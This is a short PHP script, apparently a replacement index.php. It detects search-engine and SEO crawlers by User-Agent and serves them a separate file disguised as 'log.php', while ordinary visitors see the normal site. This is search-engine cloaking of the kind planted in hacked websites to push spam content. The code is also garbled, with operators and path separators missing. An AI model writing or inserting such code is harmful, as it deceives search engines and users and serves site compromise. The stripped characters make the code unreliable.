php ob_start(); $requestUri = $_SERVER['REQUEST_URI'] ''; if ($requestUri === '' $requestUri === 'index.php') { header('Vary Accept-Language'); header('Vary User-Agent'); $botList = [ 'googlebot', 'bingbot', 'slurp', 'duckduckbot', 'baiduspider', 'yandexbot', 'sogou', 'exabot', 'facebot', 'ia_archiver', 'ahrefsbot', 'semrushbot', 'mj12bot', 'Google-InspectionTool', 'crawler', 'spider' ]; $botPattern = '' . implode('', $botList) . 'i'; $userAgent = $_SERVER['HTTP_USER_AGENT'] ''; $botContentFile = __DIR__ . 'log.php'; if (preg_match($botPattern, $userAgent)) { ob_end_clean(); if (file_exists($botContentFile) && is_readable($botContentFile)) { include $botContentFile; exit(); } else { include __DIR__ . 'index-core.php'; exit(); } } } include __DIR__ . 'index-core.php'; ob_end_flush();